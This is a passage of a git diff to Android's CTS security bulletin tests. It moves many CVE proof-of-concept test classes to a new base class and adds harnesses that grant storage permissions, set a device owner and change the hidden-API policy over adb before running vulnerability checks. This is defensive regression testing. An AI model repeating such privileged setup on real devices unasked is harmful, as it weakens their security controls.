-public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase  {
+public class CVE_2021_39794 extends NonRootSecurityTestCase {
 
     static final String TEST_APP = "CVE-2021-39794-test.apk";
     static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
new file mode 100644
index 0000000..a427e65
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39795 extends NonRootSecurityTestCase {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_39795";
+    private static final String DIR_PATH = "/storage/emulated/0/Android/data/CVE-2021-39795-dir";
+
+    @AsbSecurityTest(cveBugId = 201667614)
+    @Test
+    public void testPocCVE_2021_39795() {
+        ITestDevice device = null;
+        try {
+            device = getDevice();
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            installPackage("CVE-2021-39795.apk");
+
+            /* Make a directory inside "Android/data" folder */
+            AdbUtils.runCommandLine("mkdir " + DIR_PATH, device);
+
+            /* Allow Read and Write to external storage */
+            AdbUtils.runCommandLine(
+                    "pm grant " + TEST_PKG + " android.permission.READ_EXTERNAL_STORAGE", device);
+            AdbUtils.runCommandLine(
+                    "pm grant " + TEST_PKG + " android.permission.WRITE_EXTERNAL_STORAGE", device);
+
+            /* Allow the app to manage all files */
+            AdbUtils.runCommandLine(
+                    "appops set --uid " + TEST_PKG + " MANAGE_EXTERNAL_STORAGE allow", device);
+
+            runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testFilePresence");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                AdbUtils.runCommandLine("rm -rf " + DIR_PATH, device);
+            } catch (Exception e) {
+                // ignore the exceptions
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
index f90cae0..07fa927 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -20,14 +20,14 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39796 extends NonRootSecurityTestCase {
     static final int USER_ID = 0;
     static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
     static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
index ee835f5..1707ce9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
@@ -20,13 +20,13 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39797 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39797 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 209607104)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
index 1c1b246..0053fc6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -20,18 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.device.ITestDevice;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.After;
-import org.junit.runner.RunWith;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Arrays;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39804 extends SecurityTestCase {
+public class CVE_2021_39804 extends NonRootSecurityTestCase {
 
     /**
      * b/215002587
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
new file mode 100644
index 0000000..f1eaad2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39808 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 209966086)
+    @Test
+    public void testPocCVE_2021_39808() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2021_39808";
+
+            ITestDevice device = getDevice();
+
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            installPackage("CVE-2021-39808.apk");
+            runDeviceTests(testPkg, testPkg + "." + "DeviceTest","testService");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
index f952082..9745336 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -21,14 +21,14 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39810 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 212610736)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
index df8701c..ec4d197 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -26,7 +26,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20004 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20004 extends NonRootSecurityTestCase {
     final static String TEST_PKG = "android.security.cts.CVE_2022_20004_test";
     final static String PROVIDER_PKG = "android.security.cts.CVE_2022_20004_provider";
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
index 47ea7ca..abc94f5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
@@ -20,7 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -28,7 +28,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20007 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 211481342)
     @Test
@@ -37,10 +37,12 @@
         final String testClass = testPkg + "." + "DeviceTest";
         final String testApp = "CVE-2022-20007.apk";
         final String testAttackerApp = "CVE-2022-20007-Attacker.apk";
+        final String testSecondApp = "CVE-2022-20007-Second.apk";
         ITestDevice device = getDevice();
         try {
             installPackage(testApp);
             installPackage(testAttackerApp);
+            installPackage(testSecondApp);
             AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
             AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
             AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
index a8256d6..e83f090 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -27,7 +27,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20115 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20115 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2022_20115";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2022-20115.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
index 8fbf443..baa8707 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
@@ -20,6 +20,7 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -28,7 +29,7 @@
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20123 extends SecurityTestCase {
+public class CVE_2022_20123 extends NonRootSecurityTestCase {
 
     /**
      * b/221852424
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
index c943804..91f8e66 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
@@ -18,6 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -25,7 +26,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20127 extends SecurityTestCase {
+public class CVE_2022_20127 extends NonRootSecurityTestCase {
 
     /**
      * b/221862119
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
index 08b28b6..1aeaa1d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -22,15 +22,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20131 extends SecurityTestCase {
+public class CVE_2022_20131 extends NonRootSecurityTestCase {
     /**
      * b/221856662
      * Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
index 45c6fb1..9e5e7eb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -26,7 +26,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20138 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20138 extends NonRootSecurityTestCase {
     static final String TEST_APP = "CVE-2022-20138.apk";
     static final String TEST_PKG = "android.security.cts.CVE_2022_20138";
     static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
index 41a727f..5b1d38c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
@@ -22,15 +22,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20147 extends SecurityTestCase {
+public class CVE_2022_20147 extends NonRootSecurityTestCase {
     /**
      * b/221216105
      * Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
new file mode 100644
index 0000000..3d31cee
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20197 extends NonRootSecurityTestCase {
+    private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
+
+    @AsbSecurityTest(cveBugId = 208279300)
+    @Test
+    public void testPocCVE_2022_20197() {
+        ITestDevice device = null;
+        boolean isPolicyPresent = true;
+        boolean isHiddenApiEnabled = true;
+        String status = "";
+        try {
+            device = getDevice();
+            installPackage("CVE-2022-20197.apk");
+
+            status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
+            if (status.toLowerCase().contains("null")) {
+                isPolicyPresent = false;
+            } else if (!status.toLowerCase().contains("1")) {
+                isHiddenApiEnabled = false;
+            }
+            if (!isPolicyPresent || !isHiddenApiEnabled) {
+                AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
+            }
+            runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                if (!isPolicyPresent) {
+                    AdbUtils.runCommandLine("settings delete global hidden_api_policy", device);
+                } else if (!isHiddenApiEnabled) {
+                    AdbUtils.runCommandLine("settings put global hidden_api_policy " + status,
+                            device);
+                }
+            } catch (Exception e) {
+                // ignore all exceptions.
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
index f593f20..18d4cdd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
@@ -21,7 +21,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -29,7 +29,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20223 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 223578534)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
index 1886a4a..59e7631 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
@@ -20,7 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -28,7 +28,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20230 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20230 extends NonRootSecurityTestCase {
     public static final int USER_ID = 0;
     static final String TEST_APP = "CVE-2022-20230.apk";
     static final String TEST_PKG = "android.security.cts.CVE_2022_20230";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
index de245bb..8087e69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
@@ -20,7 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -28,7 +28,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20347 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 228450811)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
new file mode 100644
index 0000000..df33a31
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20348 extends NonRootSecurityTestCase {
+    static final String TEST_PKG = "android.security.cts.CVE_2022_20348";
+    public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
+
+    @AsbSecurityTest(cveBugId = 228315529)
+    @Test
+    public void testPocCVE_2022_20348() throws Exception {
+        try {
+            ITestDevice device = getDevice();
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the test application */
+            installPackage("CVE-2022-20348.apk");
+
+            /* Set Device Admin Component */
+            AdbUtils.runCommandLine(
+                    "dpm set-device-owner '" + TEST_PKG + "/" + TEST_DEVICE_ADMIN_RECEIVER + "'",
+                    device);
+
+            /* Run the test "testWifiScanningDisallowed" */
+            runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testWifiScanningDisallowed");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
index c4f5225..f8dcc48 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
@@ -20,7 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -28,7 +28,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20349 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20349 extends NonRootSecurityTestCase {
     static final String TEST_PKG = "android.security.cts.CVE_2022_20349";
     public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
new file mode 100644
index 0000000..12bb187
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20353 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 221041256)
+    @Test
+    public void testPocCVE_2022_20353() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2022_20353";
+            ITestDevice device = getDevice();
+
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            // to generate NOTICE.html if not already present
+            AdbUtils.runCommandLine("am start -a android.settings.LICENSE", device);
+
+            installPackage("CVE-2022-20353.apk");
+
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testDefaultRingtonePreference");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
new file mode 100644
index 0000000..a0200f1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assume.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_22082 extends NonRootSecurityTestCase {
+
+    /**
